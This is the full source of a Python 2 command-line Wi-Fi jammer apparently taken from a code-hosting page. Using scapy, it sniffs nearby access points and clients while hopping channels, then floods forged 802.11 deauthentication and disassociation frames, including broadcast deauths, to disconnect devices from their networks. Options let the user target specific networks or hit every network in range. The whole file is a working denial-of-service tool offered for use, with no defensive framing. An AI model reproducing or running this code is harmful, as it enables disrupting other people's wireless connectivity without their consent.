464 lines
14 KiB
Python
464 lines
14 KiB
Python
|
#!/usr/bin/env python2
|
||
|
# -*- coding: UTF-8 -*-
|
||
|
|
||
|
from scapy.all import *
|
||
|
|
||
|
import os
|
||
|
import sys
|
||
|
import time
|
||
|
import argparse
|
||
|
|
||
|
import pyric.pyw as pyw
|
||
|
|
||
|
from threading import Thread, Lock
|
||
|
from signal import SIGINT, signal
|
||
|
|
||
|
conf.verb = 0 # Silences scapy
|
||
|
|
||
|
# Console Colors
|
||
|
W = '\033[0m\033[1m' # white (normal)
|
||
|
R = '\033[1m\033[31m' # red
|
||
|
G = '\033[1m\033[32m' # green
|
||
|
O = '\033[1m\033[33m' # orange
|
||
|
B = '\033[1m\033[34m' # blue
|
||
|
P = '\033[1m\033[35m' # purple
|
||
|
C = '\033[1m\033[36m' # cyan
|
||
|
GR = '\033[1m\033[37m' # gray
|
||
|
T = '\033[1m\033[93m' # tan
|
||
|
|
||
|
five_hertz = [
|
||
|
36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108,
|
||
|
112, 116, 132, 136, 140, 149, 153, 157, 161, 165]
|
||
|
|
||
|
# devnull = open(os.devnull, 'w')
|
||
|
threadLock = Lock()
|
||
|
|
||
|
class wifijammer:
|
||
|
|
||
|
def __init__(self, args):
|
||
|
self.mPackets = 0
|
||
|
|
||
|
self.clients = []
|
||
|
self.APs = []
|
||
|
|
||
|
self.firstPass = True
|
||
|
|
||
|
self.mIgnoreList = [
|
||
|
'ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:',
|
||
|
'01:80:c2:00:00:00', '01:00:5e:', '01:00:0c'] + \
|
||
|
[pyw.macget(pyw.getcard(x)) for x in pyw.winterfaces()] + \
|
||
|
[x for x in args['skip'] if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", x.lower())]
|
||
|
|
||
|
# Args
|
||
|
self.mInterface = args["interface"]
|
||
|
self.mFrequency = args["frequency"]
|
||
|
self.mChannels = args["channel"]
|
||
|
self.mKill = args["kill"]
|
||
|
self.mDirected = args["directed"]
|
||
|
self.mTargets = [x for x in args['targets'] if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", x.lower())]
|
||
|
self.mMaximum = int(args["maximum"])
|
||
|
self.mPackets = int(args["pkts"])
|
||
|
self.mTimeout = float(args["timeout"])
|
||
|
self.mChannel = pyw.chget(pyw.getcard(self.mInterface))
|
||
|
self.mDetailed = args['details']
|
||
|
self.mLoglevel = args['loglevel']
|
||
|
self.mSSID = args['ssid']
|
||
|
|
||
|
LogLevels={'info': logging.INFO, 'error': logging.ERROR, 'debug': logging.DEBUG, 'critical': logging.CRITICAL}
|
||
|
logging.basicConfig(
|
||
|
level=LogLevels[self.mLoglevel],
|
||
|
format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',
|
||
|
datefmt='%Y/%m/%d %H:%M:%S')
|
||
|
|
||
|
if self.mFrequency == "2":
|
||
|
self.mChannels = [int(x) for x in self.mChannels if int(x) in range(1, 12)]
|
||
|
|
||
|
if self.mChannels == []:
|
||
|
self.mChannels = list(range(1, 12))
|
||
|
|
||
|
elif self.mFrequency == "5":
|
||
|
self.mChannels = [int(x) for x in self.mChannels if int(x) in five_hertz]
|
||
|
|
||
|
if self.mChannels == []:
|
||
|
self.mChannels = five_hertz
|
||
|
|
||
|
else:
|
||
|
self.mChannels = [int(x) for x in self.mChannels if int(x) in range(1, 12) or int(x) in five_hertz]
|
||
|
|
||
|
if self.mChannels == []:
|
||
|
self.mChannels = list(range(1, 12)) + five_hertz
|
||
|
|
||
|
if pyw.modeget(self.mInterface) != 'monitor':
|
||
|
logging.debug('Enabling monitor mode on interface '+self.mInterface)
|
||
|
start_mon_mode(self.mInterface)
|
||
|
|
||
|
if self.mKill:
|
||
|
os.system('pkill NetworkManager')
|
||
|
|
||
|
conf.iface = self.mInterface
|
||
|
|
||
|
return
|
||
|
|
||
|
def jam(self):
|
||
|
self.hop = Thread(target=self.channel_hop)
|
||
|
self.hop.daemon = True
|
||
|
self.hop.start()
|
||
|
|
||
|
signal(SIGINT, stop)
|
||
|
|
||
|
filter_string = ""
|
||
|
|
||
|
if len(self.mTargets) > 1:
|
||
|
filter_string = "ether host "+self.mTargets[0]
|
||
|
for client in self.mTargets[1:]:
|
||
|
filter_string += " or ether host " + client
|
||
|
|
||
|
elif len(self.mTargets) == 1:
|
||
|
filter_string = "ether host " + self.mTargets[0].lower()
|
||
|
|
||
|
|
||
|
sniff(iface=self.mInterface, filter=filter_string, store=0, prn=self.cb)
|
||
|
|
||
|
def channel_hop(self):
|
||
|
interface = pyw.getcard(self.mInterface)
|
||
|
channelCounter = 0
|
||
|
|
||
|
while 1:
|
||
|
if len(self.mChannels) == 1:
|
||
|
with threadLock:
|
||
|
self.mChannel = self.mChannels[0]
|
||
|
try:
|
||
|
pyw.chset(interface, int(self.mChannel), None)
|
||
|
except:
|
||
|
sys.stderr.write("Channel Hopping Failed")
|
||
|
else:
|
||
|
|
||
|
with threadLock:
|
||
|
self.mChannel = str(self.mChannels[channelCounter])
|
||
|
|
||
|
channelCounter +=1
|
||
|
|
||
|
if channelCounter == len(self.mChannels):
|
||
|
channelCounter = 0
|
||
|
with threadLock:
|
||
|
self.firstPass = False
|
||
|
|
||
|
try:
|
||
|
pyw.chset(interface, int(self.mChannel), None)
|
||
|
except:
|
||
|
sys.stderr.write("Channel Hopping Failed")
|
||
|
|
||
|
self.output()
|
||
|
|
||
|
if len(self.mChannels) == 1:
|
||
|
time.sleep(.1)
|
||
|
|
||
|
else:
|
||
|
if self.firstPass == 1:
|
||
|
time.sleep(3.5)
|
||
|
continue
|
||
|
|
||
|
self.deauth()
|
||
|
|
||
|
def output(self):
|
||
|
if self.mLoglevel != 'debug':
|
||
|
os.system('clear')
|
||
|
|
||
|
print(
|
||
|
"[{0}+{1}] {2} channel {0}{3}{1}".format(
|
||
|
G,
|
||
|
W,
|
||
|
self.mInterface,
|
||
|
str(self.mChannel)
|
||
|
)
|
||
|
)
|
||
|
|
||
|
if self.mDetailed:
|
||
|
with threadLock:
|
||
|
print('\n Deauthing ch ESSID')
|
||
|
for ca in self.clients:
|
||
|
if len(ca) > 3:
|
||
|
print(
|
||
|
"[{0}*{1}] {2}{3}{1} - {2}{4}{1} - {5} - {0}{6}{1}".format(
|
||
|
C,
|
||
|
W,
|
||
|
P,
|
||
|
ca[0],
|
||
|
ca[1],
|
||
|
str(ca[2]).ljust(4),
|
||
|
ca[3]
|
||
|
)
|
||
|
)
|
||
|
else:
|
||
|
print(
|
||
|
"[{0}*{1}] {2}{3}{1} - {2}{4}{1} - {5}".format(
|
||
|
C,
|
||
|
W,
|
||
|
P,
|
||
|
ca[0],
|
||
|
ca[1],
|
||
|
str(ca[2]).ljust(4)
|
||
|
)
|
||
|
)
|
||
|
|
||
|
|
||
|
with threadLock:
|
||
|
print('\n Access Points ch ESSID')
|
||
|
for ap in self.APs:
|
||
|
print(
|
||
|
"[{0}*{1}] {2}{3}{1} - {4} - {0}{5}{1} - {2}{6}{1}".format(
|
||
|
C,
|
||
|
W,
|
||
|
P,
|
||
|
ap[0],
|
||
|
str(ap[1]).ljust(5),
|
||
|
ap[2][:22].ljust(25),
|
||
|
str(len([x[0] for x in self.clients if x[0].lower() == ap[0].lower()]))
|
||
|
)
|
||
|
)
|
||
|
return
|
||
|
|
||
|
def deauth(self):
|
||
|
pkts = []
|
||
|
# print(len(self.clients), len(self.APs))
|
||
|
|
||
|
if len(self.clients) > 0:
|
||
|
with threadLock:
|
||
|
for x in self.clients:
|
||
|
client = x[0]
|
||
|
ap = x[1]
|
||
|
ch = x[2]
|
||
|
# print(str(ch)+":"+str(self.mChannel))
|
||
|
if int(ch) == int(self.mChannel):
|
||
|
deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
|
||
|
deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
|
||
|
disas_pkt1 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Disas()
|
||
|
disas_pkt2 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Disas()
|
||
|
pkts.append(deauth_pkt1)
|
||
|
pkts.append(deauth_pkt2)
|
||
|
|
||
|
pkts.append(disas_pkt1)
|
||
|
pkts.append(disas_pkt2)
|
||
|
|
||
|
if len(self.APs) > 0:
|
||
|
if not self.mDirected:
|
||
|
with threadLock:
|
||
|
for a in self.APs:
|
||
|
ap = a[0]
|
||
|
ch = a[1]
|
||
|
# print(str(ch)+":"+str(self.mChannel))
|
||
|
if int(ch) == int(self.mChannel):
|
||
|
deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth()
|
||
|
pkts.append(deauth_ap)
|
||
|
|
||
|
if len(pkts) > 0:
|
||
|
for p in pkts:
|
||
|
# print("Deauth")
|
||
|
send(p, inter=float(self.mTimeout), count=self.mPackets)
|
||
|
|
||
|
def noise_filter(self, addr1, addr2):
|
||
|
if len([y for y in self.mIgnoreList if addr1.startswith(y) or addr2.startswith(y)]) > 0:
|
||
|
return True
|
||
|
return False
|
||
|
|
||
|
def cb(self, pkt):
|
||
|
if pkt.haslayer(Dot11):
|
||
|
if pkt.addr1 and pkt.addr2:
|
||
|
pkt.addr1 = pkt.addr1.lower()
|
||
|
pkt.addr2 = pkt.addr2.lower()
|
||
|
|
||
|
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
|
||
|
self.APs_add(pkt)
|
||
|
|
||
|
# Ignore all the noisy packets like spanning tree
|
||
|
|
||
|
if self.noise_filter(pkt.addr1, pkt.addr2):
|
||
|
return
|
||
|
|
||
|
# Management = 1, data = 2
|
||
|
if pkt.type in [1, 2]:
|
||
|
self.clients_add(pkt.addr1, pkt.addr2)
|
||
|
return
|
||
|
|
||
|
def APs_add(self, pkt):
|
||
|
ssid = get_ssid(pkt[Dot11Elt].info)
|
||
|
bssid = pkt.addr3.lower()
|
||
|
|
||
|
try:
|
||
|
# Thanks to airoscapy for below
|
||
|
if int(self.mChannel) < 14:
|
||
|
ap_channel = str(ord(pkt[Dot11Elt:3].info))
|
||
|
else:
|
||
|
dot11elt = pkt.getlayer(Dot11Elt, ID=61)
|
||
|
|
||
|
|
||
|
ap_channel = ord(dot11elt.info[-int(dot11elt.len):-int(dot11elt.len)+1])
|
||
|
except:
|
||
|
ap_channel = self.mChannel
|
||
|
|
||
|
# print(ap_channel, self.mChannels, self.mChannel, ap_channel)
|
||
|
|
||
|
if int(ap_channel) not in self.mChannels:
|
||
|
return
|
||
|
|
||
|
if self.mSSID and ssid != self.mSSID:
|
||
|
return
|
||
|
|
||
|
# except Exception as e:
|
||
|
# return
|
||
|
|
||
|
for ap in self.APs:
|
||
|
if bssid == ap[0]:
|
||
|
return
|
||
|
|
||
|
with threadLock:
|
||
|
return self.APs.append([bssid, ap_channel, ssid])
|
||
|
|
||
|
def clients_add(self, addr1, addr2):
|
||
|
if len(self.clients) == 0:
|
||
|
if len(self.APs) == 0:
|
||
|
with threadLock:
|
||
|
return self.clients.append([addr1, addr2, self.mChannel])
|
||
|
else:
|
||
|
self.AP_check(addr1, addr2)
|
||
|
|
||
|
# Append new clients/APs if they're not in the list
|
||
|
else:
|
||
|
for ca in self.clients:
|
||
|
if addr1 in ca and addr2 in ca:
|
||
|
return
|
||
|
|
||
|
if len(self.APs) > 0:
|
||
|
return self.AP_check(addr1, addr2)
|
||
|
else:
|
||
|
with threadLock:
|
||
|
return self.clients.append([addr1, addr2, self.mChannel])
|
||
|
|
||
|
def AP_check(self, addr1, addr2):
|
||
|
for ap in self.APs:
|
||
|
if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
|
||
|
with threadLock:
|
||
|
return self.clients.append([addr1, addr2, ap[1], ap[2]])
|
||
|
|
||
|
def stop(signal=None, frame=None):
|
||
|
sys.exit('\r['+R+'!'+W+'] Closing')
|
||
|
|
||
|
def parse_args():
|
||
|
# Args to add:
|
||
|
# No update?
|
||
|
# Multiple interfaces?
|
||
|
# Disas for disassociation
|
||
|
|
||
|
# Features:
|
||
|
# Timer and packet count in top bar
|
||
|
|
||
|
parser = argparse.ArgumentParser()
|
||
|
|
||
|
parser.add_argument("-i", "--interface",
|
||
|
action="store",
|
||
|
dest="interface",
|
||
|
help="select an interface",
|
||
|
choices=[x for x in pyw.winterfaces()],
|
||
|
required=True)
|
||
|
|
||
|
parser.add_argument("-f", "--frequency",
|
||
|
action="store",
|
||
|
default="2",
|
||
|
dest="frequency",
|
||
|
help="select a frequency (2/5/all)",
|
||
|
choices=["2", "5", "all"])
|
||
|
|
||
|
parser.add_argument("-c", "--channel",
|
||
|
action="store",
|
||
|
default=[],
|
||
|
dest="channel",
|
||
|
nargs="*",
|
||
|
help="select a channel")
|
||
|
|
||
|
parser.add_argument("-k", "--kill",
|
||
|
action="store_true",
|
||
|
dest="kill",
|
||
|
help="sudo kill interfering processes.")
|
||
|
|
||
|
parser.add_argument("-m", "--maximum",
|
||
|
default=9999,
|
||
|
dest="maximum",
|
||
|
help="Maximum length of client list before it is reset")
|
||
|
|
||
|
parser.add_argument("-t", "--timeinterval",
|
||
|
dest="timeout",
|
||
|
default=0.001,
|
||
|
help="Time between deauth pkts")
|
||
|
|
||
|
parser.add_argument("-p", "--pkts",
|
||
|
default="5",
|
||
|
dest="pkts",
|
||
|
help="Choose the number of pkts to send in each deauth burst.")
|
||
|
|
||
|
parser.add_argument("-d", "--directedonly",
|
||
|
default=False,
|
||
|
dest="directed",
|
||
|
action='store_true',
|
||
|
help="Only send targeted client based deauths",)
|
||
|
|
||
|
parser.add_argument("-a", "--accesspoint",
|
||
|
nargs='*',
|
||
|
default=[],
|
||
|
dest="targets",
|
||
|
help="Enter the SSID or MAC address of a specific access point[s] to target")
|
||
|
|
||
|
parser.add_argument("-s", "--skip",
|
||
|
nargs='*',
|
||
|
default=[],
|
||
|
dest="skip",
|
||
|
help="Skip deauthing this MAC address")
|
||
|
|
||
|
parser.add_argument("-D", "--details",
|
||
|
default=False,
|
||
|
dest="details",
|
||
|
action='store_true',
|
||
|
help="Detailed print out like default wifijammer")
|
||
|
|
||
|
parser.add_argument("-l", "--loglevel",
|
||
|
default='info',
|
||
|
dest="loglevel",
|
||
|
help="Logging level")
|
||
|
|
||
|
parser.add_argument("-S", "--ssid",
|
||
|
dest='ssid',
|
||
|
help='SSID Filter',
|
||
|
)
|
||
|
|
||
|
return vars(parser.parse_args())
|
||
|
|
||
|
def get_ssid(p):
|
||
|
if p and u"\x00" not in "".join([x if ord(x) < 128 else "" for x in p]):
|
||
|
|
||
|
try:
|
||
|
name = p.decode("utf-8") # Remove assholes emojis in SSID's
|
||
|
except:
|
||
|
name = unicode(p, errors='ignore')
|
||
|
|
||
|
else:
|
||
|
name = (("< len: {0} >").format(len(p)))
|
||
|
|
||
|
return name
|
||
|
|
||
|
def start_mon_mode(interface):
|
||
|
print ('Starting monitor mode off')
|
||
|
try:
|
||
|
os.system('ip link set %s down' % interface)
|
||
|
os.system('iwconfig %s mode monitor' % interface)
|
||
|
os.system('ip link set %s up' % interface)
|
||
|
return interface
|
||
|
except Exception:
|
||
|
sys.exit('Could not start monitor mode')
|
||
|
|
||
|
def main():
|
||
|
jammer = wifijammer(parse_args())
|
||
|
jammer.jam()
|
||
|
return
|
||
|
|
||
|
if __name__ == "__main__":
|
||
|
main()
|